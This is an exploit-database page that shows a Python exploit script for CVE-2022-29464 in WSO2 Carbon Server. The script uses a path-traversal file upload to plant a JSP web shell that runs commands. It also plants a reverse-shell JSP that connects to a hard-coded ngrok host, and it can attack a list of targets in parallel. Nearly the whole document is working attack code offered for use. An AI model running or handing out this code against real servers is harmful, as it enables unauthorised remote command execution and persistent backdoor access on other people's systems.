Exploit databaseDownload repository ZIP
GH-02d1b15eaf35eaebaf6d4c8f9f0b7a07
chocapikk/cve-2022-29464
Sources for CVE-2022-29464
34 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
chocapikk/cve-2022-29464Revision e33c62259cdd
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit-v2.py
Python · 4,746 bytesimport os
import urllib3
import requests
import argparse
from ast import arg
import concurrent.futures
from rich.console import Console
delete_warning = urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
console = Console()
shell= '''<%@ page import="java.util.*,java.io.*"%>
<html>
<body>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null ) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Runtime rt = Runtime.getRuntime();
Process p = rt.exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</body>
</html>'''
reverse_jsp = '''<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream nJ;
OutputStream yc;
StreamConnector( InputStream nJ, OutputStream yc )
{
this.nJ = nJ;
this.yc = yc;
}
public void run()
{
BufferedReader cA = null;
BufferedWriter rKM = null;
try
{
cA = new BufferedReader( new InputStreamReader( this.nJ ) );
rKM = new BufferedWriter( new OutputStreamWriter( this.yc ) );
char buffer[] = new char[8192];
int length;
while( ( length = cA.read( buffer, 0, buffer.length ) ) > 0 )
{
rKM.write( buffer, 0, length );
rKM.flush();
}
} catch( Exception e ){}
try
{
if( cA != null )
cA.close();
if( rKM != null )
rKM.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket( "8.tcp.ngrok.io", 12508 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
'''
public_key = '''KEY'''
def exploit(url):
try:
resp = requests.post(f"{url}/fileupload/toolsAny", timeout=2, verify=False, files={"../../../../repository/deployment/server/webapps/authenticationendpoint/balgorev.jsp": reverse_jsp})
resp = requests.post(f"{url}/fileupload/toolsAny", timeout=2, verify=False, files={"../../../../repository/deployment/server/webapps/authenticationendpoint/balgokey": public_key})
resp = requests.post(f"{url}/fileupload/toolsAny", timeout=2, verify=False, files={"../../../../repository/deployment/server/webapps/authenticationendpoint/balgo.jsp": shell})
if resp.status_code == 200 and len(resp.content) > 0 and 'java' not in resp.text:
console.log(f"[green][<>] Successfully exploited, shell : [bold]{url}/authenticationendpoint/balgo.jsp[/bold][/green]")
console.log(f"[green][<>] Successfully exploited, revshell : [bold]{url}/authenticationendpoint/balgorev.jsp[/bold][/green]")
else:
console.log(f"\r[red][!] Fail [/red] {url}")
except (requests.exceptions.Timeout,requests.exceptions.ConnectionError,requests.exceptions.InvalidURL):
console.log(f"[red][!] Fail [/red]")
def main():
parser = argparse.ArgumentParser(description="WSO2 Carbon Server CVE-2022-29464")
parser.add_argument("-u", help="WSO2 Carbon Server URL")
parser.add_argument("-f", help="URL File")
args = parser.parse_args()
if args.f:
links = []
with open(f"{os.getcwd()}/{args.f}","r") as f:
tmp = f.readlines()
for link in tmp:
link = link.replace('\n','')
if not '://' in link:
link = f"https://{link}"
links.append(link)
with console.status("[bold green]Exploiting...") as status:
executor = concurrent.futures.ProcessPoolExecutor(50)
futures = [executor.submit(exploit, link) for link in links]
concurrent.futures.wait(futures)
else:
url = args.u
exploit(url)
if "__main__" == __name__:
main()